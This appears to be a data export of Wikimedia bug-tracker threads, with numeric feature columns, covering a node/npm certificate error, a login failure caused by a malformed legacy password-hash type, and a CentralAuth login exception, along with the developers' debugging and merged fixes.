This bug should be fixed by updating node 0.8.x and npm to slightly newer minor versions. This was fixed in the integration project as well.",,,1409231274,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,9.0,12.0,0.0,1.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,11.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,4.0,12.0,11.0,0.0,0.0,0.0,4.0,0.0,3.0,3.0,0.0,1.0,1.0,0.0,0.0,4.177777777777778,0.7222222222222222,"This certificate error is a problem within node 0.8 / npm 1.1.x that was fixed in an update.

While we should update to node 0.10, we probably will not do that for an individual page and instead have it happen naturally when we upgrade instances from Ubuntu Precise to Ubuntu Trusty (which comes with node 0.10).

This bug should be fixed by updating node 0.8.x and npm to slightly newer minor versions. This was fixed in the integration project as well."
72098,"Unable to login and reset password: ""Invalid hash given"" in all cases","Unable to login and reset password: ""Invalid hash given"" in all cases

Greetings!

User Yustas is having trouble with login and password reset. He hasn't been logging in for a while. Now, he tries to login, but can't. He has email entered: yustas@yustas.com. He tries to reset password and successfully receives reset email. But when he enters old and new passwords, he sees permanent ""Invalid hash given"" message (I have attached the screenshot received from him). He tried several browsers and OSes. 

Please help him. You can contact him directly at the email given, or at talk page at Commons https://commons.wikimedia.org/wiki/User_talk:Yustas

--------------------------
**Version**: wmf-deployment
**Severity**: major

**Attached**: {F14304}",High,80.0,1409166420,1414713212.0,PHID-USER-lymul4gxoprpd55zqrm5,False,,False,PHID-TASK-qa72wvdgnut3fefct73m,task_description,resolved,True,c3,1,False,False,True,-45,True,1.0,0.0,0.0,0.0,1.0,4.5,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.5,0.0,3.0,6.0,0.0,1.5,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,5.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,12.5,0.5,4.5,2.5,0.0,0.0,0.5,0.0,3.5,0.5,0.0,0.0,7.0,6.0,4.0,0.0,2.5,0.0,7.0,0.0,0.5,0.5,2.0,1.0,0.0,0.0,0.5,3.814589419019799,0.6498701720220708,"Unable to login and reset password: ""Invalid hash given"" in all cases

Greetings!

User Yustas is having trouble with login and password reset. He hasn't been logging in for a while. Now, he tries to login, but can't. He has email entered: yustas@yustas.com. He tries to reset password and successfully receives reset email. But when he enters old and new passwords, he sees permanent ""Invalid hash given"" message (I have attached the screenshot received from him). He tried several browsers and OSes. 

Please help him. You can contact him directly at the email given, or at talk page at Commons URL

--------------------------
**Version**: wmf-deployment
**Severity**: major

**Attached**: {F14304}"
313032,"Unable to login and reset password: ""Invalid hash given"" in all cases","I think we fixed the general issue, and the specific user is in, so I'm going to close this. Reopen if anything else is needed.",,,1414713212,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-35,True,0.0,3.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,10.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.433333333333333,0.8333333333333334,"I think we fixed the general issue, and the specific user is in, so I'm going to close this. Reopen if anything else is needed."
313030,"Unable to login and reset password: ""Invalid hash given"" in all cases","(In reply to Chris Steipp from comment #10)
> [...] the password was updated to
> :A::<hash>, and I couldn't login.

I think I753c135a would fix that problem. We may need a DB cleanup script and/or the compatibility hack I thought we didn't need.

> [...] I'm not able to find a reliable
> reproduction for ending up in that state though.

Perhaps the user had tried to reset his password by email before attempting to log in with his existing password? That would cause $user->saveSettings() to be called, which to get the string to store in the DB, would call toString() on the MWOldPassword object. Though why would we have :A: hashes in the DB at all?",,,1414396611,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-36,True,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,3.0,0.5,0.0,0.0,0.0,3.0,2.0,3.5,13.0,0.0,4.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,5.0,1.0,12.0,2.0,0.5,7.5,0.0,0.0,0.0,0.5,8.0,0.0,0.5,0.0,5.0,13.0,4.0,2.0,0.0,0.0,5.0,0.0,2.0,0.5,0.0,2.0,0.0,0.0,0.0,3.7563520871143377,0.7562008469449486,"(In reply to Chris Steipp from comment #10)
QUOTE
QUOTE

I think I753c135a would fix that problem. We may need a DB cleanup script and/or the compatibility hack I thought we didn't need.

QUOTE
QUOTE

Perhaps the user had tried to reset his password by email before attempting to log in with his existing password? That would cause $user->saveSettings() to be called, which to get the string to store in the DB, would call toString() on the MWOldPassword object. Though why would we have :A: hashes in the DB at all?"
313028,"Unable to login and reset password: ""Invalid hash given"" in all cases","For the actual issue, I managed to reproduce the effect that caused the problem. A user with type :A: password with a hard expired password, I logged in several times and in one case, the password was updated to :A::<hash>, and I couldn't login. I'm not able to find a reliable reproduction for ending up in that state though.

I'm a little suspicious of https://github.com/wikimedia/mediawiki-core/blob/2f491ef504b0489afd8a85d6a145058c29c46e61/includes/User.php#L1230 vs. checking $wgPasswordSalt like in https://github.com/wikimedia/mediawiki-core/blob/2f491ef504b0489afd8a85d6a145058c29c46e61/includes/User.php#L4655

Adding Tyler in case he has ideas.",,,1409176403,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,1.0,0.0,0.0,1.0,2.0,7.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,14.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,6.0,16.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,1.0,3.75,0.65625,"For the actual issue, I managed to reproduce the effect that caused the problem. A user with type :A: password with a hard expired password, I logged in several times and in one case, the password was updated to :A::<hash>, and I couldn't login. I'm not able to find a reliable reproduction for ending up in that state though.

I'm a little suspicious of URL vs. checking $wgPasswordSalt like in URL

Adding Tyler in case he has ideas."
313027,"Unable to login and reset password: ""Invalid hash given"" in all cases","Got it! He says he has successfully logged in first on commons, then on several wikis.

Thank you very much!",,,1409172954,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.92,"Got it! He says he has successfully logged in first on commons, then on several wikis.

Thank you very much!"
313026,"Unable to login and reset password: ""Invalid hash given"" in all cases","(In reply to Chris Steipp from comment #6)
> Yeah, we have a hook doing that, since their on the list of users who's
> password hashes were leaked. We could remove the username from our hook too,
> to simplify that bit.

Ok, I marked that username as having already reset their password, so they shouldn't get the reset form on login. Should be able to login now.",,,1409172487,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,6.0,14.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.510204081632653,0.8163265306122449,"(In reply to Chris Steipp from comment #6)
QUOTE
QUOTE
QUOTE

Ok, I marked that username as having already reset their password, so they shouldn't get the reset form on login. Should be able to login now."
313023,"Unable to login and reset password: ""Invalid hash given"" in all cases","Well, we're not able to properly understand some of the technical terms. Can you please give us some simple instructions on what to do, if needed?",,,1409171933,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,6.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,10.0,16.0,0.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.903225806451613,0.9032258064516129,"Well, we're not able to properly understand some of the technical terms. Can you please give us some simple instructions on what to do, if needed?"
313021,"Unable to login and reset password: ""Invalid hash given"" in all cases","(In reply to Sergei S. Rublev from comment #3)
> Not completely sure about SUL though. He says years ago he was creating
> same-username account on several wikis.
> 
> He says: on commonswiki, enwiki and ruwiki: if he types wrong password, he
> gets message about wrong password. When he types correct password, the reset
> procedure is started.

Yeah, we have a hook doing that, since their on the list of users who's password hashes were leaked. We could remove the username from our hook too, to simplify that bit.",,,1409171702,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,13.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,19.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,3.0,2.0,2.0,0.0,6.0,13.0,11.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4126984126984126,0.7142857142857143,"(In reply to Sergei S. Rublev from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, we have a hook doing that, since their on the list of users who's password hashes were leaked. We could remove the username from our hook too, to simplify that bit."
313018,"Unable to login and reset password: ""Invalid hash given"" in all cases","Well something is definitely wrong... Yustas'es password is :A: type, but has a salt stored with it. That shouldn't ever happen.

The password api patch did a trick to pretend un-prefixed hashes were type :A:, even if password salting was used, so the hash would get upgraded to type :B:. I'm guessing something in there messed it up.

I'm testing a couple solutions. I think we'll be able to either blank the password and let them use password reset. Or it may be a valid :B: hash, and so we can just change the type. I'm working on a reproduction so I can test it.",,,1409171574,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,0.0,1.0,0.0,0.5,0.5,4.0,2.0,0.0,0.0,0.5,0.5,3.5,0.0,0.0,0.0,5.0,0.0,4.5,5.5,1.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,4.5,2.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,12.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,6.0,3.5,8.5,1.0,3.5,6.5,0.0,0.0,0.0,0.0,6.5,0.5,0.0,0.0,8.5,5.5,0.0,0.0,0.0,0.0,8.5,0.0,0.0,3.5,0.5,2.0,0.0,0.0,0.0,3.4362379280070234,0.7182835820895522,"Well something is definitely wrong... Yustas'es password is :A: type, but has a salt stored with it. That shouldn't ever happen.

The password api patch did a trick to pretend un-prefixed hashes were type :A:, even if password salting was used, so the hash would get upgraded to type :B:. I'm guessing something in there messed it up.

I'm testing a couple solutions. I think we'll be able to either blank the password and let them use password reset. Or it may be a valid :B: hash, and so we can just change the type. I'm working on a reproduction so I can test it."
313014,"Unable to login and reset password: ""Invalid hash given"" in all cases",He says there is no email confirmation when he tyes correct password. He immediately gets dialog presented at screenshot.,,,1409169357,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.904761904761905,0.9047619047619048,He says there is no email confirmation when he tyes correct password. He immediately gets dialog presented at screenshot.
313008,"Unable to login and reset password: ""Invalid hash given"" in all cases","Not completely sure about SUL though. He says years ago he was creating same-username account on several wikis.

He says: on commonswiki, enwiki and ruwiki: if he types wrong password, he gets message about wrong password. When he types correct password, the reset procedure is started.",,,1409169094,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,2.0,0.0,2.0,2.0,2.0,10.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,9.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,9.0,7.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.172413793103448,0.7068965517241379,"Not completely sure about SUL though. He says years ago he was creating same-username account on several wikis.

He says: on commonswiki, enwiki and ruwiki: if he types wrong password, he gets message about wrong password. When he types correct password, the reset procedure is started."
313002,"Unable to login and reset password: ""Invalid hash given"" in all cases",The main goal now is to login to Commons. He says he remembers he was activating SUL...,,,1409168261,,PHID-USER-lymul4gxoprpd55zqrm5,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,11.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,11.0,11.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.736842105263158,0.8947368421052632,The main goal now is to login to Commons. He says he remembers he was activating SUL...
312998,"Unable to login and reset password: ""Invalid hash given"" in all cases","Which Wiki is he using?

I note he seems to have a :A: password on commonswiki, but on enwiki user_password is unprefixed, but user_newpassword is :B: prefixed..",,,1409168169,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qa72wvdgnut3fefct73m,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,14.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,8.0,14.0,3.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7777777777777777,0.75,"Which Wiki is he using?

I note he seems to have a :A: password on commonswiki, but on enwiki user_password is unprefixed, but user_newpassword is :B: prefixed.."
71834,login when already logged in gets exception from Special:CentralLogin,"I'm used to entering the URL https://<host>/wiki/Special:UserLogin to login with a different username.  It would warn ""You are already logged in as S Page (WMF). Use the form below to log in as another user."" and let me do just that.

However, now when I do this on beta labs when I'm already logged in, I get a 302 redirect and then Internal error exception from http://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=921d7ed90f5b780db73c89673f1bb6d6 ""The user account logged into does not exist.""  The full display is below.

The workaround is to click Log out or visit Special:Logout, then log in.
As I recall, visiting Special:UserLogin while logged in on mediawiki.org a week or so ago would just redirect me to the main page (not ideal but better than an exception); but now I'm getting the same Internal error exception except the production cluster truncates it to a pink ""[7ed77f38] 2014-08-21 08:02:15: Fatal exception of type MWException"".

Below is the full error display on beta labs:

[82d43ccf] /wiki/Special:CentralLogin/complete?token=921d7ed90f5b780db73c89673f1bb6d6 Exception from line 167 of /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php: The user account logged into does not exist.

Backtrace:

#0 /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php(33): SpecialCentralLogin->doLoginComplete(string)
#1 /srv/common-local/php-master/includes/specialpage/SpecialPage.php(363): SpecialCentralLogin->execute(string)
#2 /srv/common-local/php-master/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(string)
#3 /srv/common-local/php-master/includes/MediaWiki.php(300): SpecialPageFactory::executePath(Title, RequestContext)
#4 /srv/common-local/php-master/includes/MediaWiki.php(609): MediaWiki->performRequest()
#5 /srv/common-local/php-master/includes/MediaWiki.php(460): MediaWiki->main()
#6 /srv/common-local/php-master/index.php(46): MediaWiki->run()
#7 /srv/common-local/w/index.php(3): include(string)
#8 {main}

--------------------------
**Version**: master
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=69565",High,80.0,1408608540,1410401638.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-vwqwxdop2rianj5hnvof,task_description,resolved,True,c3,1,False,False,True,-45,True,0.0,0.0,0.0,0.2,0.6,6.4,0.4,0.0,0.0,0.0,1.8,0.6,0.2,0.0,0.0,1.6,0.4,4.0,5.8,0.0,0.6,0.0,0.2,0.0,0.4,0.0,0.0,0.6,0.0,0.4,0.0,3.6,0.4,0.4,0.2,0.2,0.0,0.0,0.4,0.0,0.0,0.0,0.4,2.0,0.0,0.0,0.0,0.0,0.0,11.6,0.2,0.2,0.2,0.4,0.0,0.0,0.0,0.0,0.4,0.0,0.4,1.0,0.0,0.0,0.2,0.0,0.0,3.0,0.8,11.6,0.8,1.2,3.6,0.0,0.0,0.0,2.0,2.8,0.0,5.6,0.0,2.2,5.8,5.4,0.0,1.2,0.0,2.2,0.0,0.4,1.0,0.4,1.0,0.2,0.0,0.8,4.0877936670071495,0.5802093973442288,"I'm used to entering the URL URL to login with a different username.  It would warn ""You are already logged in as S Page (WMF). Use the form below to log in as another user."" and let me do just that.

However, now when I do this on beta labs when I'm already logged in, I get a 302 redirect and then Internal error exception from URL ""The user account logged into does not exist.""  The full display is below.

The workaround is to click Log out or visit Special:Logout, then log in.
As I recall, visiting Special:UserLogin while logged in on mediawiki.org a week or so ago would just redirect me to the main page (not ideal but better than an exception); but now I'm getting the same Internal error exception except the production cluster truncates it to a pink ""[7ed77f38] 2014-08-21 08:02:15: Fatal exception of type MWException"".

Below is the full error display on beta labs:

[82d43ccf] /wiki/Special:CentralLogin/complete?token=921d7ed90f5b780db73c89673f1bb6d6 Exception from line 167 of /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php: The user account logged into does not exist.

Backtrace:

#0 /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php(33): SpecialCentralLogin->doLoginComplete(string)
#1 /srv/common-local/php-master/includes/specialpage/SpecialPage.php(363): SpecialCentralLogin->execute(string)
#2 /srv/common-local/php-master/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(string)
#3 /srv/common-local/php-master/includes/MediaWiki.php(300): SpecialPageFactory::executePath(Title, RequestContext)
#4 /srv/common-local/php-master/includes/MediaWiki.php(609): MediaWiki->performRequest()
#5 /srv/common-local/php-master/includes/MediaWiki.php(460): MediaWiki->main()
#6 /srv/common-local/php-master/index.php(46): MediaWiki->run()
#7 /srv/common-local/w/index.php(3): include(string)
#8 {main}

--------------------------
**Version**: master
**Severity**: major
**See Also**:
URL"
312889,login when already logged in gets exception from Special:CentralLogin,"[Backport was merged into 1.24wmf19 and 1.24wmf20 upon a time, hence setting Backport_WMF flag to +]",,,1412717621,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,4.473684210526316,1.0,"[Backport was merged into 1.24wmf19 and 1.24wmf20 upon a time, hence setting Backport_WMF flag to +]"
312885,login when already logged in gets exception from Special:CentralLogin,"Visiting ""Special:UserLogin"" on en.wp and test.wp now directly redirect me to the main page, no exception thrown.",,,1410401638,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,9.0,13.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.217391304347826,0.9565217391304348,"Visiting ""Special:UserLogin"" on en.wp and test.wp now directly redirect me to the main page, no exception thrown."
312881,login when already logged in gets exception from Special:CentralLogin,*** Bug 70666 has been marked as a duplicate of this bug. ***,,,1410372058,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70666 has been marked as a duplicate of this bug. ***
312875,login when already logged in gets exception from Special:CentralLogin,"Change 159492 merged by jenkins-bot:
Don't do central login if not POSTed

https://gerrit.wikimedia.org/r/159492",,,1410368967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,1.0,"Change 159492 merged by jenkins-bot:
Don't do central login if not POSTed

GERRIT_URL"
312868,login when already logged in gets exception from Special:CentralLogin,"Change 159491 merged by jenkins-bot:
Don't do central login if not POSTed

